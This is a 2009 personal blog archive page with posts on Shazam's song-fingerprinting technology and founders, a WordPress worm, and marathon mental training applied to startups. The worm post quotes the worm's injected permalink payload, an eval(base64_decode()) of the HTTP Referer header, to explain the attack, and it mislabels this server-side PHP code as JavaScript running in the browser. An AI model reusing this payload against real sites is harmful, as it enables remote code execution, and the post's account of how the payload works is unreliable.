Nuno Morgadinho « EVOL.reverse

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Nuno Morgadinho 3:22 pm on September 16, 2009 Permalink
iPhone App Listens to Music and tells you the name of Song

There is an application for the iPhone where you can humm along a song and it will identify it for you. You can then even buy it from iTunes or see related videos on YouTube. The application I’m talking about is Shazam. We were talking about it over lunch and we all agreed it was impressive technology. We were wondering not so much the part of fingerprinting the music, which is already impressive to get right, but how is it possible to search such a large database, supposedly containing every song in the world, in a timely manner? Someone then asked: “who are the people doing such great software?” I then decided it was time to do some digging and found this great video, a bit romanticized I grant you that, but pretty cool..

Some of the things that caught my eye.. they started back in 2000. Also I was reading about the technology and how it works. Fingerprinting the music is based on the spectrogram. The database is an hash table, where the key is the frequency. When it receives a fingerprint it doesn’t need to search all the songs. Still there is an immense amount of work involved in making the whole thing work. It’s fantastic what they have accomplished.

The People

Chris Barton, Philip Inghelbrecht, Dhiraj Mukherjee and Avery Wang.

Chris and Philip were still in Business School (at UC Berkeley in California) when they started Shazam. Dr. Avery Wang comes from Stanford University. Not sure about Dhiraj.

Shazam Founders on Twitter

The beauty of the Internet these days.. you can follow these guys on Twitter.

Chris Barton – @bartonsurfer

Philip Inghelbrecht – @Inghelbrecht

Dhiraj Mukherjee – @dhirajm

References:
Nuno Morgadinho 7:25 am on September 7, 2009 Permalink
JavaScript eval() is EVIL
The blogosphere is full of mentions to the worm that is attacking old versions of the Wordpress blog platform and the attack on the popular Scobleizer blog. I was reading about it in the weekend, particularly how the worm works, what it does, how to prevent it and how to recover from it. As Matt Mullenweg, creator of Wordpress, puts it: "This particular worm, like many before it, is clever". One of the things it does is changing the links of the blog to something like this:
```
/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
```
and this in turn allows evaluated code to be executed. “eval” is evil hum? Although its not something new, still quite cunning. The eval() function evaluates a string and executes it as if it was script code. This means when a user clicks the link on the affected blog, the Javascript arbitrary code will run on the user's browser. Not good. http://wordpress.org/development/2009/09/keep-wordpress-secure/
http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/
JavaScript eval() is EVIL | Hot WP Themes is discussing. Toggle Comments
Nuno Morgadinho 7:01 am on August 27, 2009 Permalink
Marathon Training Applied to Startups

Today I’m going on a Fun Run so I’ve been reading on how to prepare myself. I found this nice website with guidelines and tips on preparing for the Marathon and what I realized was that the mental strategies they discuss can be applied for anything you want to obtain. I thought it might be a refreshing read if you’re stuck with a boring project or something you’re having trouble finishing off. Or even if you’re starting a new project it might help. We know that with the right mood and the right mind-set everything is easier. The question now is how to trigger your mind into that state. Like they say on the article: “arriving at the starting line in less than the ideal state of mind can have a devastating effect on your performance”.
- Mental Rehearsal/Visualization – The process of creating pictures or images in your mind.
- Imagery – Playing out/imagining in your mind the way you wish for an event to occur.
- Self-Talk – The “voice” in your head that can be trained to provide positive affirmations during adversity and tough times.
from http://www.marathontraining.com/marathon/m_psycho.html

Do you use any of these techniques already?
Nuno Morgadinho 3:39 pm on July 24, 2009 Permalink

Ferrari F355 Spider
Nuno Morgadinho 4:04 am on July 24, 2009 Permalink

"Trust in yourself and believe. Never give up"

Every day I scout the Internet and read a lot of stuff about start-ups and entrepreneurship. Most of it is of course total crap. Reading about start-ups doesn’t help the entrepreneur in the same way talking about being creative will not make you be creative..

But stories like this one do:

http://news.bbc.co.uk/2/hi/technology/8165262.stm